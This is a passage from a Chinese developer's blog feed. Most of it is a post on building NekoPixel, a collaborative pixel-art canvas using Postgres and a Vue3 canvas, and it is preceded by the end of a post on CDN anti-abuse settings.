center">备注</th> </tr> </thead> <tbody> <tr> <td style="text-align: center">对象存储 COS</td> <td style="text-align: center">存储桶权限</td> <td style="text-align: center">配置为<code>私有读写</code>,授权 CDN 子用户访问,其余公网请求全部 ban 掉</td> </tr> <tr> <td style="text-align: center">内容分发网络 CDN</td> <td style="text-align: center">防盗链配置</td> <td style="text-align: center">配置白名单 Referer(治标不治本,CC攻击加个头就行)</td> </tr> <tr> <td style="text-align: center">内容分发网络 CDN</td> <td style="text-align: center">IP访问限频配置</td> <td style="text-align: center">10QPS(单个 IP 限制,有一定效果)</td> </tr> <tr> <td style="text-align: center">内容分发网络 CDN</td> <td style="text-align: center">下行限速配置</td> <td style="text-align: center">全部内容,限速 1024KB/s(这个值我感觉还可以再低,防止被刷流量)</td> </tr> <tr> <td style="text-align: center">内容分发网络 CDN</td> <td style="text-align: center">用量封顶配置</td> <td style="text-align: center">流量每五分钟瞬时用量超过 2GB、HTTPS 请求数每五分钟超过 100 万次、当天 24 点前累计流量超过 10GB。(触发后会直接停掉 CDN 服务,防止一觉醒来账单爆炸)</td> </tr> </tbody> </table> <p>以上配置是否能真的防住 CC 攻击,还得看腾讯云的用量封顶配置多久生效。虽然官方说是 10 分钟左右,这个时间我觉得还是有些长,万一对面 10 分钟打出了 1 TB 流量呢?但同时腾讯云官方又给出了一种通过定时 Serverless 函数,请求腾讯云 API 检测 CDN 用量,超过用量后使用 API 关闭 CDN 服务的方法。由于是自建 Serverless 定时函数,时间周期可以设的更短,这个后续我可以尝试下。</p> <h2 id="最后说几句">最后说几句</h2> <p>后续我可能会把阿里云集群上的业务也迁到腾讯云上来。</p> <p>最近一个多月以来自己得睡眠质量不是很好,总是忧心忡忡。好在现在都已尘埃落定,我如愿拿到了腾讯的 Offer,自己这波“金三银四”还算顺利。这过程中的怀疑、悔恨、不甘,现在回想起来也都不重要了。</p> <p>站在人生的又一个起点,我还依旧觉得没什么实感。对于后面匆匆收拾东西,搬去上海,我也不确定自己是否准备好了。但我可以肯定的是,自己已经跳出了原来的舒适圈,面前的是另一个更舒适的舒适圈还是更艰难的挑战,这还尚不可知。</p> <p><img src="https://github.red/images/2024/04/tencent-offer-accepted.png" alt="tencent-offer-accepted"></p>NekoPixel —— 一起来画像素画吧!https://github.red/neko-pixel/Sat, 24 Feb 2024 21:22:46 +0800https://github.red/neko-pixel/<blockquote> <p>文章封面使用 DALL·E 3 生成</p></blockquote> <p>NekoBox 自从 2020 年初上线以来,至今磕磕绊绊运行了四年。一开始我只是将其当做一个 CRUD 的练手项目,做完后丢到线上就没管了。谁知在 2022 年开始,这个小站不知什么原因,突然迎来了大量的注册用户,同时还有几个粘性很强的用户,个人主页上有上百条提问。(也是这两三个重度用户,页面改版前每天会跑掉我 3-4 块钱的 CDN 流量)</p> <p>我感叹自己又一次无心插柳柳成荫,于 2022 年底又写了很多新功能,功能包括数据导出、注销账号、防骚扰、内容安全、内部 BI 面板等等。就在我看着一切都将往好的方向发展时,去年二月被炸弹人搞了一波,这事之后再慢慢聊。从那之后 NekoBox 关站了几个月,后面数据全部迁移到境外,使用新的域名重新恢复了。</p> <p>我并没有大张旗鼓地去宣传恢复后的域名,原以为之前的用户就这样流失再也不见了。没曾想有铁粉,一遍遍刷着兔小巢上是否有新的动向,找到了我的新域名。这件事令我挺感动的。如今的 NekoBox 每天还有零零散散的几个新注册账号,和几条新增留言评论,我觉得自己不该一直“躺平摆烂式”管理,得想办法给这个小站加点新的元素。</p> <p>因此,NekoPixel 就诞生了。同 NekoBox 一样,它也是完全开源的:<a href="https://github.com/wuhan005/NekoPixel">https://github.com/wuhan005/NekoPixel</a></p> <h2 id="为什么选择做像素画">为什么选择做像素画?</h2> <p>我一直不想宣传 NekoBox,不想让它被太多人知道或被滥用。究其原因,这是我一个人因为兴趣开发运营的站点,我没有那么多精力去即时响应它发生的问题。当我在兔小巢上收到了新的用户反馈时,我只能等到一个不怎么忙且不怎么困的周末,才能静下心来好好写代码开发。我也在刻意降低 NekoBox 的社交属性。访客只能通过给定的链接看到注册用户的提问箱,没有其它任何热门用户推荐的功能。不同的注册用户之间,只能是在现实中或者其它平台上建立联系,在 NekoBox 中,他们互相不会打扰到对方。</p> <p>既然不方便强调独立个体,那就展现群体的力量!</p> <p>一群人在网络上一起绘制一幅图画,最早好像是从 Reddit 开始的,后面 B站在 2017 年暑假做了个<a href="https://live.bilibili.com/pages/1702/pixel-drawing">夏日绘板</a>的活动,用户每间隔一段冷却时间,可以拥有几个像素点,在一张共享的画布上作画。虽然当时B站还没上市,但用户体量是摆在那的,整场活动下来难免有用脚本捣乱的人。但好在最后效果挺好,可以说是 B站二次元属性最后的余晖了。时至今日,当年的活动页还有人在“缅怀”。我认为日后 B站不太有机会再举办这样的活动了,既赚不到钱,还得在内容安全上加大投入。</p> <p>NekoBox 就很适合做这个,不同兴趣爱好的用户可以画自己喜欢的东西,但前端又不会知道是谁主导绘制的。再加上 NekoBox 的用户本来就不多,大家圈地自萌玩一玩多好。</p> <h2 id="如何实现的">如何实现的?</h2> <p>像素画的前端开发难度远大于后端。我们先从相对简单的后端讲起。</p> <p>通过直接生啃 B站夏日绘板的前端(具体文件在 <code>pixel-drawing.d41b770e4052375671dc.js</code>),我们可以知道这是一个 1280 x 720 的图片。通过魔改的 Vue DevTools,可以直接看到其 Vue data 部分的内容:</p> <p><img src="https://github.red/images/2024/02/bilibili-painting-vue-tools.png" alt="bilibili-painting-vue-tools"></p> <p>在 <code>colorMaps</code> 对象存储的就是页面上调色盘的颜色。<code>colorMaps</code> 的 Value 是对应颜色的十六进制,Key 则是从 <code>0</code> 开始一直递增到 <code>A</code> <code>B</code> <code>C</code>&hellip; 的索引。那么考虑使用一位的字母或数字作为 Key,我们可以表达 36 种颜色(<code>0</code>-<code>9</code>,<code>A</code>-<code>Z</code>),要是加上特殊符号全角半角,则可以表示更多。</p> <p>在页面的 <code>1.0b2b4b3ccd53641b013c.js</code> 文件中,我们可以看到其返回了很长一串字符串:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>webpackJsonp([<span style="color:#a5d6ff">1</span>],{<span style="color:#a5d6ff">1697</span><span style="color:#ff7b72;font-weight:bold">:</span><span style="color:#ff7b72">function</span>(Q,O,E){ </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;use strict&#34;</span>;<span style="color:#ff7b72">function</span> L(){ </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span><span style="color:#a5d6ff">&#34;MGE9EEEE0000090000001100000000&#34;</span>...<span style="color:#a5d6ff">&#34;111011101&#34;</span> <span style="color:#8b949e;font-style:italic">// 就是这一段几百KB的 </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> }Object.defineProperty(O,<span style="color:#a5d6ff">&#34;__esModule&#34;</span>,{value<span style="color:#ff7b72;font-weight:bold">:!</span><span style="color:#a5d6ff">0</span>}),O.getFreeSketchingBitmap<span style="color:#ff7b72;font-weight:bold">=</span>L}}); </span></span></code></pre></div><p>该字符串中的每个字符是一个像素点,其对应的就是上述 <code>colorMaps</code> 中 Key 所指的颜色。前端通过解析该字符串,在 Canvas 中绘制出原本的图片。这种存储方式颇有点 bitmap 的味道。那么对于后端而言,我们只需要想办法能存储,并快速返回这段字符串即可。</p> <h3 id="mongodbpostgres">MongoDB?Postgres!</h3> <p>GitHub 上的开源大多是使用 MongoDB 来存储单个像素点,最后汇集起来返回。但我们这个场景下其实不太需要 NoSQL 的灵活功能,我便决定依旧使用 Postgres 来实现。我在 Postgres 中,创建一张名为 <code>canvas_pixels</code> 的表,共 921600 行(1280*720),用于存储整个画面的<strong>最新</strong>像素。</p> <table> <thead> <tr> <th>字段名</th> <th>类型</th> <th>说明</th> </tr> </thead> <tbody> <tr> <td><code>user_id</code></td> <td>INT</td> <td>最后绘制该像素的用户 ID</td> </tr> <tr> <td><code>x</code></td> <td>INT</td> <td>像素在画布上的 X 值</td> </tr> <tr> <td><code>y</code></td> <td>INT</td> <td>像素在画布上的 Y 值</td> </tr> <tr> <td><code>index</code></td> <td>STRING</td> <td>像素的颜色索引</td> </tr> <tr> <td><code>color</code></td> <td>STRING</td> <td>冗余字段,存储像素的十六进制编码</td> </tr> </tbody> </table> <p>整张表很简单易懂对不对?然后就可以愉快的使用 SQL,现将 <code>x</code> 和 <code>y</code> 排序,保证他们在画布上是依次排列出来的,再将 <code>index</code> 颜色索引字符串合并即可,如此简单粗暴的方法, 就可以将上面的字符串生成出来了啦~ 查询用时在 400ms 左右。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-postgresql" data-lang="postgresql"><span style="display:flex;"><span><span style="color:#ff7b72">SELECT</span> </span></span><span style="display:flex;"><span> STRING_AGG(t<span style="color:#a5d6ff">.</span><span style="color:#ff7b72">index</span>, <span style="color:#a5d6ff">&#39;&#39;</span>) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">FROM</span> ( </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">SELECT</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">INDEX</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">FROM</span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;canvas_pixels&#34;</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">WHERE</span> </span></span><span style="display:flex;"><span> x <span style="color:#ff7b72;font-weight:bold">&gt;=</span> <span style="color:#a5d6ff">0</span> <span style="color:#ff7b72">AND</span> y <span style="color:#ff7b72;font-weight:bold">&gt;=</span> <span style="color:#a5d6ff">0</span> <span style="color:#ff7b72">AND</span> x <span style="color:#ff7b72;font-weight:bold">&lt;=</span> <span style="color:#a5d6ff">1280</span> <span style="color:#ff7b72">AND</span> y <span style="color:#ff7b72;font-weight:bold">&lt;=</span> <span style="color:#a5d6ff">720</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">ORDER</span> <span style="color:#ff7b72">BY</span> </span></span><span style="display:flex;"><span> y, x </span></span><span style="display:flex;"><span>) <span style="color:#ff7b72">AS</span> t </span></span></code></pre></div><p>但只存这张表会有一个问题,新的像素绘制将老的记录给盖掉了,我们没法追踪整张画布上图像随时间的变化。因此还有张 <code>pixels</code> 表来归档存储所有用户的每次像素操作。必要时可以通过 Scan 这张表,做出像 <a href="https://www.bilibili.com/video/av13900223">av13900223</a> 的画板变化动画。</p> <p>当用户绘制一个像素时,我们先往 <code>pixels</code> 插入一条数据,再更新 <code>canvas_pixels</code>,两个操作包在一个事务中即可。当然这里我有意画蛇添足用了 Trigger 触发器来做,也是想实际体验下触发器的使用。下方这段触发器的代码是直接让 ChatGPT 写的,可以看到它创建了一个函数,先从 <code>colors</code> 表中拿到十六进制颜色所对应的索引,然后更新 <code>canvas_pixels</code> 中对应的像素记录。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-postgresql" data-lang="postgresql"><span style="display:flex;"><span><span style="color:#ff7b72">CREATE</span> <span style="color:#ff7b72">OR</span> <span style="color:#ff7b72">REPLACE</span> <span style="color:#ff7b72">FUNCTION</span> public<span style="color:#a5d6ff">.</span>upsert_canvas_pixel() </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">RETURNS</span> <span style="color:#ff7b72">trigger</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">LANGUAGE</span> plpgsql </span></span><span style="display:flex;"><span><span style="color:#ff7b72">AS</span> <span style="color:#79c0ff">$function$ </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff">DECLARE </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> colorIndex TEXT; </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff">BEGIN </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> SELECT index INTO colorIndex FROM colors WHERE color = NEW.color LIMIT 1; </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> IF colorIndex IS NOT NULL THEN </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> UPDATE canvas_pixels </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> SET color = NEW.color, index = colorIndex </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> WHERE x = NEW.x AND y = NEW.y; </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> IF NOT FOUND THEN </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> INSERT INTO canvas_pixels(x, y, color, index) </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> VALUES (NEW.x, NEW.y, NEW.color, colorIndex); </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> END IF; </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> ELSE </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> RAISE EXCEPTION &#39;Color not found in colors table.&#39;; </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> END IF; </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> RETURN NEW; </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff">END; </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff">$function$</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">--- 创建触发器 </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span><span style="color:#ff7b72">CREATE</span> <span style="color:#ff7b72">OR</span> <span style="color:#ff7b72">REPLACE</span> <span style="color:#ff7b72">TRIGGER</span> trigger_upsert_canvas_pixel <span style="color:#ff7b72">AFTER</span> <span style="color:#ff7b72">INSERT</span> <span style="color:#ff7b72">ON</span> pixels <span style="color:#ff7b72">FOR</span> <span style="color:#ff7b72">EACH</span> <span style="color:#ff7b72">ROW</span> <span style="color:#ff7b72">EXECUTE</span> <span style="color:#ff7b72">FUNCTION</span> upsert_canvas_pixel (); </span></span></code></pre></div><p>上层的 RESTful API 那就随便糊一糊了,创建像素点的时候往 <code>pixels</code> 插一条记录即可,这里就不再赘述。</p> <h2 id="困难重重的-canvas">困难重重的 Canvas</h2> <p>NekoPixel 最难的部分在前端,更确切地说是在 Canvas。一开始我打算直接裸写 HTML + JavaScript,然后被一堆 <code>EventListener</code>搞得很烦,最后还是决定上 Vue3。</p> <p>先明确一下前端总体的功能:</p> <ul> <li>绘制像素:我们需要将后端返回的字符串转化成十六进制颜色,一个像素一个像素地绘制到 Canvas 上。</li> <li>滚轮缩放:用户滚动鼠标滚轮,可以实现画布的放大缩小。</li> <li>点击拖动:用户在放大画布后,点击画布可随意拖动查看。</li> <li>用户绘制:用户选择颜色后,点击 Canvas,将颜色填充到鼠标所指的像素上。</li> </ul> <h3 id="绘制像素">绘制像素</h3> <p>首先前端请求接口,拿到颜色的字符到十六进制的映射表,然后将后端返回的字符串,一个个字符转换成十六进制颜色数组。然后将颜色绘制上去。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#ff7b72">const</span> imageData <span style="color:#ff7b72;font-weight:bold">=</span> baseContext.value.createImageData(width, height) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">const</span> arrayBuffer <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">new</span> ArrayBuffer(imageData.data.length) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">const</span> clampedArray <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">new</span> Uint8ClampedArray(arrayBuffer) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">const</span> uint32Array <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">new</span> Uint32Array(arrayBuffer) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">for</span> (<span style="color:#ff7b72">let</span> i <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">0</span>; i <span style="color:#ff7b72;font-weight:bold">&lt;</span> pixels.canvas.length; i<span style="color:#ff7b72;font-weight:bold">++</span>) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">const</span> index <span style="color:#ff7b72;font-weight:bold">=</span> pixels.canvas[i] </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">const</span> color <span style="color:#ff7b72;font-weight:bold">=</span> colorMap.get(index) <span style="color:#ff7b72;font-weight:bold">??</span> [<span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">0</span>] </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">const</span> pixelValue <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#a5d6ff">255</span> <span style="color:#ff7b72;font-weight:bold">&lt;&lt;</span> <span style="color:#a5d6ff">24</span>) <span style="color:#ff7b72;font-weight:bold">|</span> (color[<span style="color:#a5d6ff">2</span>] <span style="color:#ff7b72;font-weight:bold">&lt;&lt;</span> <span style="color:#a5d6ff">16</span>) <span style="color:#ff7b72;font-weight:bold">|</span> (color[<span style="color:#a5d6ff">1</span>] <span style="color:#ff7b72;font-weight:bold">&lt;&lt;</span> <span style="color:#a5d6ff">8</span>) <span style="color:#ff7b72;font-weight:bold">|</span> color[<span style="color:#a5d6ff">0</span>]; <span style="color:#8b949e;font-style:italic">// 注意: 这里使用的是big-endian </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> uint32Array[i] <span style="color:#ff7b72;font-weight:bold">=</span> pixelValue; </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>imageData.data.set(clampedArray) </span></span><span style="display:flex;"><span>baseContext.value.putImageData(imageData, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">0</span>) </span></span></code></pre></div><p>通过阅读代码,你会发现我们是将像素绘制到了在代码中新建的 <code>baseContext</code> 中,而不是 DOM 上展示的 <code>canvasPixels</code>。这是因为 Canvas 绘制刷新相当于直接将像素盖上去了,我们在后续点击拖动的过程中,看似是在拖动一张大的画布,Canvas 负责展示画布的一部分,其实 Canvas 是在不停地重绘覆盖之前的内容。因此需要有一份完整的备份,页面上的 Canvas 只是从备份中选取指定的部分展示。</p> <p>还有一个小细节是 Canvas 的 <code>ctx.imageSmoothingEnabled</code> 这个属性,一开始我发现图片绘制到 Canvas 上,放大后整个是糊的,不像 B站一样放大是棱角分明的像素点。问题就出在这个属性上,Canvas 默认将其设置为 <code>True</code>,即开启图像平滑,我们需要设置成 <code>False</code> 才能在 Canvas 放大后显示像素点。</p> <h3 id="滚轮缩放">滚轮缩放</h3> <p>用户在 Canvas 上滑动滚轮,我们需要处理 Canvas 的 <code>@wheel</code> 事件。首先使用 <code>preventDefault()</code> 来禁用默认的效果,防止整个浏览器页面被放大了。然后通过事件的 <code>deltaY</code> 属性的正负来判断是放大还是缩小,设置缩放比例后,重绘画布。</p> <p>画布的缩放,可以直接用 Canvas Context 的 <code>scale()</code>方法:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>ctx.scale(ratio.value, ratio.value) </span></span></code></pre></div><p>关于画布刷新函数 <code>refreshCanvas()</code>,ChatGPT 告诉我了超好用的 <code>save()</code> 和 <code>restore()</code> 来保存和还原画布状态。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>ctx.save() </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>ctx.clearRect(<span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">0</span>, paintingCanvas.value.width, paintingCanvas.value.height) </span></span><span style="display:flex;"><span>ctx.scale(ratio.value, ratio.value) </span></span><span style="display:flex;"><span>ctx.translate(deltaX.value, deltaY.value) </span></span><span style="display:flex;"><span>ctx.drawImage(baseCanvas.value, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">0</span>) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>ctx.restore() </span></span></code></pre></div><p>当调用 <code>save()</code> 时,Canvas 的当前全部状态将被放入栈中,相当于当下成为了 Canvas 的一个默认状态,在 <code>save()</code> 后的任何修改,都是在这个默认状态之上进行。当我们的改动完成后,使用 <code>restore()</code> 将保存的状态从栈中弹出,恢复状态。</p> <h3 id="点击拖动">点击拖动</h3> <p>点击拖动需要同时处理 <code>@mousedown</code> <code>@mousemove</code> <code>@mouseup</code> 三个事件,分别对应用户操作中的鼠标点击、鼠标移动拖动、鼠标抬起结束拖动。这边使用 <code>isMoving</code> 变量来判断当前鼠标点击,是要拖动还是要画像素点。Canvas Context 中使用 <code>translate()</code> 方法来平移画布,我们根据鼠标拖动事件的增量来计算平移的距离即可:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Move canvas with translate. </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span><span style="color:#ff7b72">if</span> (event.buttons <span style="color:#ff7b72;font-weight:bold">===</span> <span style="color:#a5d6ff">1</span>) { </span></span><span style="display:flex;"><span> deltaX.value <span style="color:#ff7b72;font-weight:bold">+=</span> event.movementX <span style="color:#ff7b72;font-weight:bold">/</span> ratio.value </span></span><span style="display:flex;"><span> deltaY.value <span style="color:#ff7b72;font-weight:bold">+=</span> event.movementY <span style="color:#ff7b72;font-weight:bold">/</span> ratio.value </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (deltaX.value <span style="color:#ff7b72;font-weight:bold">&gt;</span> <span style="color:#a5d6ff">0</span>) { </span></span><span style="display:flex;"><span> deltaX.value <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">0</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (deltaY.value <span style="color:#ff7b72;font-weight:bold">&gt;</span> <span style="color:#a5d6ff">0</span>) { </span></span><span style="display:flex;"><span> deltaY.value <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">0</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (baseContext.value) { </span></span><span style="display:flex;"><span> refreshCanvas() </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><h3 id="用户绘制">用户绘制</h3> <p>用户绘制即在 <code>@mousedown</code> 的时候,判断 <code>isMoving === false</code> 时,将对应像素点的颜色,填充进上面提到的备份 Canvas <code>baseContext</code> 中,再用 <code>refreshCanvas()</code> 函数刷到页面上的 Canvas 里。最后用户需要手动点击页面上的结束绘制,这时将用户绘制的像素点信息发送到后端接口入库保存。</p> <h2 id="如何引入到现有项目中">如何引入到现有项目中?</h2> <p>以上就是 NekoPixel 的实现原理和关键点,你可以对照开源的代码仔细分析。</p> <p>NekoPixel 是一个由 Vue3 编写的前后端分离的应用,我该如何将其引入到我的前后端不分离的 NekoBox 中呢?我了解到 Vue 支持 UMD (Universal Module Definition) 组件化构建,最终产物是一个 JavaScript 文件,将其内嵌到 NekoBox 页面中,然后设置其 Mount 到指定的 <code>&lt;div&gt;</code> 元素中即可。</p> <p>你可以在 <a href="https://github.com/wuhan005/NekoPixel/blob/master/web/config/vite.config.umd.ts">vite.config.umd.ts</a> 中看到其 VIte 构建配置。构建出来的前端产物将被发布为 NPM 包:<a href="https://www.npmjs.com/package/@e99p1ant/neko-pixel-umd">@e99p1ant/neko-pixel-umd</a>,找个 NPM 镜像源引入其 JavaScript 和 CSS 到 NekoBox 中即可使用。日后需要更新,也只用在 NekoBox 的模板中修改下 NPM 的版本号即可,十分方便。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">&lt;!-- CSS 样式 --&gt;</span> </span></span><span style="display:flex;"><span>&lt;<span style="color:#7ee787">link</span> rel<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;stylesheet&#34;</span> href<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;https://unpkg.com/@e99p1ant/neko-pixel-umd@0.0.17/style.css&#34;</span>/&gt; </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">&lt;!-- 挂载 NekoPixel 的 div 标签 --&gt;</span> </span></span><span style="display:flex;"><span>&lt;<span style="color:#7ee787">div</span> id<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;app&#34;</span>&gt;&lt;/<span style="color:#7ee787">div</span>&gt; </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">&lt;!-- 自定义配置 --&gt;</span> </span></span><span style="display:flex;"><span>&lt;<span style="color:#7ee787">script</span>&gt; </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> NEKO_CONFIG <span style="color:#ff7b72;font-weight:bold">=</span> {pixelBaseURL<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#39;/api/v1/pixel&#39;</span>} </span></span><span style="display:flex;"><span>&lt;/<span style="color:#7ee787">script</span>&gt; </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">&lt;!-- NekoPixel UMD 产物 --&gt;</span> </span></span><span style="display:flex;"><span>&lt;<span style="color:#7ee787">script</span> src<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;https://unpkg.com/@e99p1ant/neko-pixel-umd@0.0.17/neko-pixel-app.umd.js&#34;</span>&gt;&lt;/<span style="color:#7ee787">script</span>&gt; </span></span></code></pre></div><p>你可能注意到了上面代码中的 <code>NEKO_CONFIG</code> 属性,在 NekoPixel 的 <a href="https://github.com/wuhan005/NekoPixel/blob/master/web/src/api/interceptor.ts">interceptor.ts</a> 中,我通过全局环境下的该变量设置 axios 请求库的 <code>baseURL</code>。这样其实就简单实现了外部与 UMD 组件的沟通。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-typescript" data-lang="typescript"><span style="display:flex;"><span><span style="color:#ff7b72">if</span>(window.NEKO_CONFIG){ </span></span><span style="display:flex;"><span> axios.defaults.baseURL <span style="color:#ff7b72;font-weight:bold">=</span> window.NEKO_CONFIG.pixelBaseURL; </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>通过修改原本的 <code>baseURL</code>,将 NekoPixel 画板的所有请求指向 NekoBox 的 <code>/pixel</code> 下,<code>/pixel</code> 路由转发用户请求到服务器上的 NekoPixel。相当于 NekoBox 在中间做了层反代 <a href="https://github.com/NekoWheel/NekoBox/blob/master/route/pixel/pixel.go#L23-L62">pixel.go</a>,为的是能将绘制像素点的用户 ID 带上,放到最终请求入库保存。</p> <h2 id="最后说几句">最后说几句</h2> <p>NekoPixel 是我今年在老家过年的时候开发的,发布上线后,我简单的用像素点写了个 <code>NKBOX</code>。后续真的有大触在上面画了像素画!我的 NekoBox 账号也收到了用户匿名反馈说很喜欢这个新功能。</p> <p><img src="https://github.red/images/2024/02/neko-pixel-0224.png" alt="neko-pixel-0224"></p> <p>但其实还有很多需要完善的地方,比如画板不会向鼠标所在的位置缩放(还是 Y7 提的呜呜呜)、加载画板的时候没有提示、用户绘制时的验证与限流等,都是要努力去实现的。</p> <p>自从过年那阵子,就有人一直在 DDoS NekoBox 及其子域。刚开始的时候毫无防御被刷了一波阿里云账单,后续由于阿里云产品的各种离谱设定,加上工单客服给的防御方案根本不起作用,我将 NekoBox 以及自己的其他服务由阿里云迁移到了 Cloudflare 上,这才有所缓解。特别是前些日子一晚上打出了 <strong>10T</strong> 的流量!这要是还放阿里云上,我直接就 5000 块没了。</p> <p>互联网上还是坏人多呀,一开始是疯狂刷我 NekoBox 上挂的支付宝收款码图片。Y7 也劝我不要再将 NekoBox 的打赏记录公开出来,省得有人眼红搞事,但我想着这是需要对社区公开的信息,且打赏的人可能也是抱着能被展示出来的心情才打赏的。</p> <p>我也在想 NekoBox 这个站还要不要继续搞下去,更深层次的,我是不是不应该再抱着所谓“开源”和“用爱发电”的心情去面对技术。就像我最近博客收到的一条评论中所提及的,是不是用技术以及信息差去割韭菜是不是才是更重要的?以前看到很多 GitHub 上千 stars 项目的作者,在个人 Profile 里发 want a 